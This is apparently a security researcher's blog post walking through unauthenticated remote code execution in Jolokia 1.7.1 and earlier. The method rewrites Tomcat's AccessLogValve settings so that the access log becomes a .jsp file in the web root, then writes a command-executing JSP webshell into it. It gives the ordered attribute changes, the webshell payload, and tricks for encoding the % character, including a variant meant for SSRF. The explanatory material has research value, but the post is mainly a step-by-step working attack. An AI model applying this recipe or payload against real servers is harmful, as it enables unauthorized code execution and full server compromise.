Today I’m gonna show you how to exploit a Remote Code Execution without authentication in Jolokia version 1.7.1 and earlier.

What is Jolokia?

Jolokia is a JMX-HTTP bridge giving an alternative to JSR-160 connectors. It is an agent based approach with support for many platforms. In addition to basic JMX operations it enhances JMX remoting with unique features like bulk requests and fine grained security policies. - https://jolokia.org/index.html

How to identify Jolokia?

Jolokia can be identified if the server’s response is something like this:

alt text

Over the internet it can be found via the routes:

  • /jolokia
  • /actuator/jolokia

But these are only examples.

Once the presence of jolokia is confirmed, as an attacker, it is important to list all the actions that can be performed. To do this, simply add /list (eg. http://127.0.0.1:8080/jolokia/list) to the path identified as jolokia.

alt text

Within the server response which is in JSON format if you are able to identify the string host=localhost,name=AccessLogValve,type=Valve you might have won.

This next section (What is the AccessLogValve?) is just an extract of https://tomcat.apache.org/tomcat-7.0-doc/api/org/apache/catalina/valves/AccessLogValve.html from Craig R. McClanahan, Jason Brittain, Remy Maucherat, Takayuki Kaneko and Peter Rossbach. You can go directly to the exploit part if you have already read it, otherwise I invite you to read it because it allows you to better understand what is the AccessLogValve and therefore my exploit.

What is the AccessLogValve?

The AccessLogValve is an implementation of the Valve interface that generates a web server access log with the detailed line contents matching a configurable pattern.

The syntax of the available patterns is similar to that supported by the Apache HTTP Server mod_log_config module. As an additional feature, automatic rollover of log files when the date changes is also supported.

Patterns

Patterns for the logged message may include constant text or any of the following replacement strings, for which the corresponding information from the specified Response is substituted:

  • %a - Remote IP address
  • %A - Local IP address
  • %b - Bytes sent, excluding HTTP headers, or ‘-‘ if no bytes were sent
  • %B - Bytes sent, excluding HTTP headers
  • %h - Remote host name (or IP address if enableLookups for the connector is false)
  • %H - Request protocol
  • %l - Remote logical username from identd (always returns ‘-‘)
  • %m - Request method
  • %p - Local port
  • %q - Query string (prepended with a ‘?’ if it exists, otherwise an empty string
  • %r - First line of the request
  • %s - HTTP status code of the response
  • %S - User session ID
  • %t - Date and time, in Common Log Format format
  • %u - Remote user that was authenticated
  • %U - Requested URL path
  • %v - Local server name
  • %D - Time taken to process the request, in millis
  • %T - Time taken to process the request, in seconds
  • %I - current Request thread name (can compare later with stacktraces)

In addition, the caller can specify one of the following aliases for commonly utilized patterns:

  • common - %h %l %u %t “%r” %s %b
  • combined - %h %l %u %t “%r” %s %b “%{Referer}i” “%{User-Agent}i”

There is also support to write information from the cookie, incoming header, the Session or something else in the ServletRequest. It is modeled after the Apache HTTP Server log configuration syntax:

  • %{xxx}i for incoming headers
  • %{xxx}o for outgoing response headers
  • %{xxx}c for a specific cookie
  • %{xxx}r xxx is an attribute in the ServletRequest
  • %{xxx}s xxx is an attribute in the HttpSession
  • %{xxx}t xxx is an enhanced SimpleDateFormat pattern (see Configuration Reference document for details on supported time patterns)

Log rotation can be on or off. This is dictated by the rotatable property.

For UNIX users, another field called checkExists is also available. If set to true, the log file’s existence will be checked before each logging. This way an external log rotator can move the file somewhere and Tomcat will start with a new file.

Let’s take advantage of the AccessLogValve

In the screenshot below we can see the attributes that we can read and write.

alt text

The general idea here is to move the log file into the root of the Web server, write a Webshell into the log file and then run arbitrary system commands. To do this we will modify the attributes of the AccessLogValve one by one using GET requests.

Exploit

The functional exploit was obtained after performing several tests, because the order in which we rewrite the attributes of AccessLogValve has an impact on the reliability of the exploit. The exploit is available at:

Explanations

By default the route of the access log file is logs/localhost_access_log.<DATE>.txt (eg. logs/localhost_access_log.2021-09-30.txt) regarding the tomcat installation directory.

alt text

The exploitation takes place in the following way:

Poisoning valve’s configuration

First, we rewrite the attributes’s values like this:

  • pattern to a space.
    • In order to do not log further requests (this one include).
  • checkExists to true.
    • To force the existence control of the log file. This is necessary to be sure to write our Webshell correctly.
  • fileDateFormat to _XXXX where X is a number between 0 and 9.
    • Setting this value will allow us to find our Webshell once it is created. From previous tests it appears that setting this value as empty makes the exploit fail. Indeed, at each execution of the exploit we want to make sure that a new log file is created (Webshell). Moreover it also increases the entropy of our filename at generation.
  • prefix to XXXX where X is a number between 0 and 9.
    • At this stage, the route of our log file will be in the following format: logs/XXXX_XXXX.txt.
  • suffix to .jsp.
    • We choose the JSP extension so that the log file that will be created can be executed by the server once requested.
  • directory to webapps/ROOT.
    • In order for the log file (Webshell) to be placed at the root of the web server and therefore accessible to an attacker. At this stage, the route of our log file will be in the following format: webapps/ROOT/XXXX_XXXX.jsp.
  • buffered to false.
    • So that the requests are not stored in memory (in a buffer) before being written, but are rather written in the log file as soon as they are processed by the server.
  • asyncSupported to false.
    • This one, I have no idea why I set it to false but it works like that so let’s not change anything :)

After that we have to wait a few seconds for the modifications to take effect, and then, we go to the second stage of the exploit, writting in the log file the content of our Webshell.

Writting a Webshell

Now we have an empty log file which has for route:

  • webapps/ROOT/XXXX_XXXX.jsp

We send a request to replace the old pattern (a space) with the following one:

IVOIRE<%{pourcent}c= new java.util.Scanner(Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream()).useDelimiter("RESULT").next() %{pourcent}c>IVOIRE

Moreover the request sent also contains a Cookie pourcent with the value %. This means that once the pattern modification request is received and processed by the server our log file will contain:

IVOIRE<%= new java.util.Scanner(Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream()).useDelimiter("RESULT").next() %>IVOIRE

Indeed, I noticed that directly placing the character % in the pattern modified it once in the log file by ???, and placing it in the URL caused it to be replaced by %25, so the only solution is to place it in a Cookie. I had the idea to put it in a Cookie while reading the following documentation (which can also be read above within the paragraph Pattern):

There is also support to write information from the cookie, incoming header, the Session or something else in the ServletRequest. It is modeled after the Apache HTTP Server log configuration syntax:

  • %{xxx}i for incoming headers
  • %{xxx}o for outgoing response headers
  • %{xxx}c for a specific cookie
  • %{xxx}r xxx is an attribute in the ServletRequest
  • %{xxx}s xxx is an attribute in the HttpSession
  • %{xxx}t xxx is an enhanced SimpleDateFormat pattern (see Configuration >Reference document for details on supported time patterns)

UPDATE 2021-09-30:

The pattern has been updated and replaced by:

IVOIRE<%{%}t= new java.util.Scanner(Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream()).useDelimiter("RESULT").next() %{%}t>IVOIRE

This makes it possible to get rid of the Cookie using an enhanced SimpleDateFormat pattern (%{%}t) and thus makes the exploit usable through SSRF vulnerabilities.


After the Webshell has been written we change the pattern back to a space in order not to log the next requests which allows us to keep our file intact.

During this step we compromised the log file which allowed us to write our Webshell. Now that the Webshell is written inside the log file, we just have to restore the basic configuration and access the Webshell to execute system commands.

alt text

alt text

alt text


UPDATE 2021-11-02:

A friend of mine was interested in Jolokia TheLaluka (that’s why I also looked into it) and discovered other ways to get code execution, so I invite you to read his article:

And in order to participate even more to his JET project (Jolokia Exploitation Toolkit) I added a new POC allowing to get the credentials of a Tomcat account: